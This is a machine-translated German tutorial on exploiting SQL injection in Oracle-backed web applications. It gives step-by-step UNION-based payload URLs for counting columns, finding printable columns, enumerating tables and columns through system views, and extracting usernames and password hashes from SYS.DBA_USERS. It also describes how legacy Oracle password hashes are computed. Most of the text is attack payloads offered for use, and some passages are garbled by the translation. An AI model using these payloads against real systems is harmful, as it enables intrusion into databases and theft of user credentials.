This page has been robot translated, sorry for typos if any. Original content here.

SQL-Injection in Oracle



  • [Einführung]
  • [Oracle-Funktionen]
  • [Spaltenauswahl]
  • [Definition druckbarer Spalten]
  • [Informationen einholen]
  • [Tabellen und Spalten]
  • [Passwörter]
  • [Informationen einholen]



  • [Einführung]


    Kürzlich, als ich verschiedene Webprojekte auf Schwachstellen untersuchte, fing ich an, über SQL-Injection in Oracle zu stolpern. Obwohl es derzeit selten vorkommt, dass dieses DBMS in der Webprogrammierung verwendet wird, geschieht dies immer noch. Alle Recherchen endeten mit einer einfachen Erkennung von Fehlern, was als nächstes zu tun war, war nicht klar. Eine Suche nach einem Artikel, der die praktischen Aspekte der Ausnutzung dieser Sicherheitsanfälligkeit in Oracle gut beschreibt, z. B. die Cash- und Spyder-Artikel, in denen Injektionen in MSSQL und PostgreSQL beschrieben werden, wurde nicht gefunden.
    Als Ergebnis der Suche wurde nur eine Reihe von Artikeln k00p3r gefunden, die vollständig aus Quellen von Drittanbietern kopiert wurden und eine einfache Übersetzung darstellten, deren Lektüre seitdem keine klare Vorstellung davon gab, wie das Jammern in Oracle durchgeführt wurde Artikel sind im wesentlichen groß, theoretisch und enthalten zum größten Teil Wasser.
    Am Ende musste ich mich an die institutionellen Fähigkeiten erinnern, mit Oracle zusammenzuarbeiten, und eine Menge verstreuter Informationen im Internet nachlesen. In diesem Artikel möchte ich Ihnen mitteilen, was ich für die Durchführung von SQL-Injection in Oracle herausgefunden und versucht habe, es in einem zu kombinieren.
    Nun, versuchen Sie die Lücke zu schließen und fügen Sie eine Reihe von Artikeln hinzu, die Cash und Spyder enthalten.

    [Oracle-Funktionen]


    Zunächst werde ich einige Eigenschaften angeben, die bei der Durchführung einer Injektion in Oracle berücksichtigt werden müssen. Ich möchte nur reservieren, dass sich der Artikel mit der Einspritzung in der SELECT-Anweisung befasst. Obwohl auch Injektionen in den INSERT-, UPDATE- und DELETE-Anweisungen möglich sind.
    Es ist auch wichtig, dass der Artikel die Probleme beim Durchführen einer Injektion in Oracle SQL-Abfragen und nicht in Oracle PL / SQL-Prozeduren behandelt. Der wesentliche Unterschied zwischen Injections in PL / SQL-Prozeduren besteht in der Möglichkeit, das Abfragetrennzeichen - das Semikolon ";" - zu verwenden. Aber zu diesem IMHO müssen Sie einen separaten Artikel mit einer Beschreibung aller sich daraus ergebenden Konsequenzen schreiben. Darüber hinaus glaubt der Autor, dass in Webanwendungen die häufigsten Injections in SQL-Abfragen zu finden sind (zumindest bin ich nur auf solche gestoßen).
    In Oracle wird wie in MySQL und PostgreSQL die Injektion unter Verwendung des UNION-Operators ausgeführt, d.h. mit der Zusammenstellung der Kombination von zwei Abfragen (im Folgenden wird zum leichteren Verständnis der Begriff - die Unterabfrage - verwendet). Neben der Übereinstimmung der Anzahl der Spalten in der Hauptabfrage und der Unterabfrage muss jedoch berücksichtigt werden, dass Oracle in der Unterabfrage kein automatisches Typ-Casting durchführt. Daher ist es bei der Auswahl von Spalten erforderlich, null zu ersetzen, anders als beispielsweise bei MySQL.
    Es ist auch eine sehr wichtige Eigenschaft, dass alle SELECT-Abfragen aus einer Tabelle erfolgen müssen, d.h. Die Abfragesyntax sollte immer das Wort FROM und den Namen der Tabelle enthalten. Für einfache arithmetische Berechnungen oder andere Operationen, die keine echte Tabelle erfordern, gibt es in Oracle eine Pseudotabelle SYS.DUAL.
    Eine wichtige Eigenschaft ist das Fehlen des LIMIT-Operators.
    Um eine Abfrage abzuschneiden, werden in Oracle SQL die Kommentarzeichen "-" (zwei Bindestriche) und "/ *" (Schrägstrich und Sternchen) verwendet. Die erste Art von Kommentaren ist einzeilig. Der zweite Typ ist mehrzeilig.
    Im Gegensatz zu PL / SQL-Prozeduren gibt es in SQL Oracle keine Möglichkeit, mehrere Abfragen mit dem Trennzeichen ";" zu verwenden.
    Wenn ein Fehler erkannt wird, können Sie Oracle anhand des Wortes ORA im Text der Fehlermeldung eindeutig identifizieren. Beispiel:

    Macromedia][Oracle JDBC Driver][Oracle]ORA-00933: SQL command not properly ended

    Nicht immer steht im Fehlertext beispielsweise das Wort Oracle

    Warning: OCIStmtExecute: ORA-01722: invalid number in

    [Spaltenauswahl]


    Lassen Sie den Fehler im id-Parameter vorhanden sein:

    www.site.com/view.php?id=1'
    Die Anzahl der in der Hauptabfrage vorhandenen Spalten wird wie in MySQL festgelegt. Da der UNION-Operator die gleiche Anzahl von Spalten benötigt, müssen wir sowohl in der Hauptabfrage als auch in der Unterabfrage die Anzahl dieser Spalten bestimmen. Wenn die Spalten in der Unterabfrage nicht korrekt angegeben sind, wird die Standardfehlermeldung angezeigt:

    ORA-XXXXX: query block has incorrect number of result columns
    Für die Auswahl der Spalten gibt es 2 bekannte Methoden, die im Artikel Spyder ausführlich beschrieben sind. Aber ich werde sie nochmal mitbringen, damit der Leser die Artikel nicht durchläuft:

    1. Einfache Büste.
    Wir werden die folgende Anfrage stellen

    www.site.com/view.php?id=-1+union+select+null+from+sys.dual--

    Wenn ein Fehler auftritt, erhöhen Sie die Anzahl der Spalten um eins.
    www.site.com/view.php?id=-1+union+select+null, null+from+sys.dual--

    und so weiter, bis der Fehler verschwindet.

    2. Verwenden Sie den Operator ORDER BY
    Die zweite Methode ist viel schneller und angenehmer, wenn die Anzahl der Spalten groß genug ist. Wir werden die folgende Anfrage stellen

    www.site.com/view.php?id=-1+order+by+1--
    Liegt kein Fehler vor, sind die Spalten 1 oder mehr 1

    www.site.com/view.php?id=-1+order+by+99999--
    Bei einer solchen Abfrage sollte ein Fehler auftreten, dh, die Spalten sind kleiner als 99999. Verengen Sie auf die gleiche Weise die Grenzen des ausgewählten Intervalls nach links und rechts und bestimmen Sie letztendlich die tatsächliche Anzahl der Spalten in der Hauptabfrage.

    [Definition druckbarer Spalten]


    Angenommen, wir haben die genaue Anzahl der Spalten in der Hauptabfrage ermittelt. Angenommen, sie sind 4.

    www.site.com/view.php?id=-1+union+select+null, null, null, null+from+sys.dual--
    Nun müssen wir die Spalten bestimmen, die auf der Seite angezeigt werden. In der Regel sind Spalten mit den Datentypen int, char und data an der Ausgabe beteiligt. Wir werden genug druckbare Spalten mit den Typen int und char haben und danach suchen.
    Wie bereits erwähnt, führt Oracle in einer Unterabfrage keine automatische Typumwandlung durch. Wenn Sie versuchen, die Werte eines ungeeigneten Typs in einer Spalte zu ersetzen, wird daher der folgende Typenkonfliktfehler angezeigt

    ORA-XXXXX: expression must have same datatype as corresponding expression
    Als nächstes beginnen wir mit Abfragen, wobei wir jede Spalte abwechselnd durch eine beliebige Zahl ersetzen

    www.site.com/view.php?id=-1+union+select+123, null, null, null+from+sys.dual--
    ....
    www.site.com/view.php?id=-1+union+select+null, 123, null, null+from+sys.dual--
    Daher identifizieren wir druckbare Spalten mit dem Typ int. In diesem Fall können wir die Typkonvertierungsfunktionen to_char (), to_date () verwenden und druckbare Spalten mit den Typen char und data identifizieren, wenn ein Typenkonvertierungsfehler auftritt.

    www.site.com/view.php?id=-1+union+select+null, to_char(123), null, null+from+sys.dual--
    Als Referenz dient hier die Syntax der Funktion to_char ():
    to_char (Wert, [format_mask], [nls_language])

    [Informationen einholen]


    Nachdem wir die Anzahl der Spalten und die druckbaren Spalten ermittelt haben, können wir sicher die erforderlichen Informationen aus der Datenbank abrufen. Wenn wir bestimmte Tabellen in der Datenbank und deren Spalten kennen, wird es nicht schwierig sein, Informationen zu erhalten. Wenn beispielsweise eine USERS-Tabelle mit den Spalten ID, LOGIN und PASSWORD vorhanden ist, sieht die Anforderung zum Abrufen dieser Daten folgendermaßen aus

    www.site.com/view.php?id=-1+union+select+null, login, password, null+from+users+where+id=123--
    Genau wie in MySQL können Sie zum bequemen Anzeigen und Überwinden verschiedener Codierungsprobleme die Funktionen concat (), to_char () verwenden.
    Um die Filter-Anführungszeichen oder andere notwendige Zeichen zu überwinden, gibt es eine Funktion chr ().

    [Tabellen und Spalten]


    Wenn uns die Benutzertabellen unbekannt sind, können wir verschiedene Informationen aus den bekannten Oracle-Systemtabellen abrufen.
    Sie können den Namen des Benutzers herausfinden, unter dem die Schnittstelle funktioniert, und können dies daher tun, indem Sie die Funktionen user oder sys.login_user aufrufen

    www.site.com/view.php?id=-1+union+select+null, user, null, null+from+sys.dual--
    Sie können eine Liste solcher Sitzungen erhalten: Wählen Sie * aus V $ session

    Von großem Interesse sind die Tabellen SYS.USER_TABLES und SYS.USER_TAB_COLUMNS, die alle Tabellen und ihre Spalten enthalten, auf die der Benutzer zugreifen kann. Wir nehmen die Namen der Tabellen und Spalten heraus:

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables--
    www.site.com/view.php?id=-1+union+select+null, column_name, null, null+from+sys.user_tab_columns--
    Meiner Meinung nach sind in der Tabelle SYS.USER_TABLES neben table_name auch die folgenden Spalten von Interesse: tablespace_name, num_rows, freelist_groups.
    Leider geben die obigen Abfragen nur einen nach dem anderen aus - den ersten Datensatz aus der gesamten Tabelle. Es besteht ein überwältigender Wunsch, den LIMIT-Operator wie in MySQL oder PostgreSQL zu verwenden. Zur großen allgemeinen Enttäuschung wird dieser Operator in Oracle nicht unterstützt, und darüber hinaus hat er kein würdiges Äquivalent in Form eines anderen Operators.
    "ALL MISSED !!!" - Sie werden sagen.
    "NEIN !!!" - Ich werde dir antworten.
    Nachdem ich ein hübsches Google gequält hatte, fand ich immer noch die Möglichkeit, eine komplexe Abfrage durchzuführen, die zumindest in einiger Entfernung die semantische Last des LIMIT-Operators erkennt. Leider konnten die Funktionen nicht vollständig wiederhergestellt werden.

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables+where+rownum+<=+5--
    Wenn Sie also eine andere Anzahl von Datensätzen im Beispiel durchgehen, können Sie nacheinander alle Tabellennamen anzeigen. Wir können dieselbe Konstruktion verwenden, wenn Sie die Tabelle SYS.USER_TAB_COLUMNS anzeigen, wenn Sie alle Spaltennamen abrufen, die dem Benutzer zur Verfügung stehen.
    Auch in Oracle gibt es das Konzept eines Objektpräfixes (eine Tabelle ist ein Objekt), das im Namen oder Namen einer Tabelle vorhanden ist:
    ALL_ - alles für den Benutzer verfügbar (der Besitzer kann es nicht sein),
    USER_ - Objekte, deren Eigentümer dieser Benutzer ist.
    Aus diesem Grund können wir unsere Aufgabe vereinfachen und nur die Namen der Tabellen ermitteln, auf die wir Zugriff haben.

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.all_tables
    Informationen aus den folgenden Standardtabellen können ebenfalls von Interesse sein: SYS.USER_OBJECTS, SYS.USER_VIEWS, SYS.USER_VIEWS, SYS.USER_CATALOG, SYS.USER_TRIGGERS, SYS.TAB.

    [Passwörter]


    Wenn wir Glück haben und der Benutzer, unter dem wir mit der Datenbank arbeiten, über sysdba-Rechte verfügt, können wir die Hashes aller Benutzer der Datenbank abrufen.
    Der Hauptspeicherort der Passwortkonvolution (Hash) ist die Tabelle des SYS.USER $ dictionary-Verzeichnisses. Über dieser Tabelle als Basisableitung SYS.DBA_USERS. Wenn PASSWORD_REUSE_TIME im Benutzerprofil aktiviert ist, werden Kennwortkonvolutionen auch in SYS.USER_HISTORY $ gespeichert. Sie können solche Hashes und Benutzernamen erhalten

    www.site.com/view.php?id=-1+union+select+null, username, password, null+from+sys.dba_users
    Der Vollständigkeit halber werde ich auch einen Algorithmus zur Berechnung der Faltung eines Passworts bereitstellen, falls dies für jemanden nützlich sein sollte:
    1. An den Benutzernamen wird der richtige Text des Passwortes angefügt.
    2. In der resultierenden Zeichenfolge erhöhen die Buchstaben das Register.
    3. Die Zeichen der Zeichenfolge werden in ein Zwei-Byte-Format mit einem linken Abstand von 0x00 (für ASCII-Zeichen) konvertiert. An die Zeichenfolge rechts werden null Byte bis zu einer Gesamtlänge von 80 angehängt.
    4. Die resultierende Zeichenfolge wird mit dem DES-Algorithmus im CBC-Modus (Ciphertext Block Concatenation Mode) mit dem Schlüssel 0x0123456789ABCDEF verschlüsselt.
    5. Die Paritätsbits werden aus dem letzten Ergebnisblock entfernt und die resultierende Zeichenfolge (56 Bits) wird zum erneuten Verschlüsseln der Quellzeichenfolge auf dieselbe Weise verwendet.
    6. Der letzte Block des Ergebnisses wird in hexadezimale arithmetische Zeichen übersetzt und als Endergebnis - Faltung - deklariert.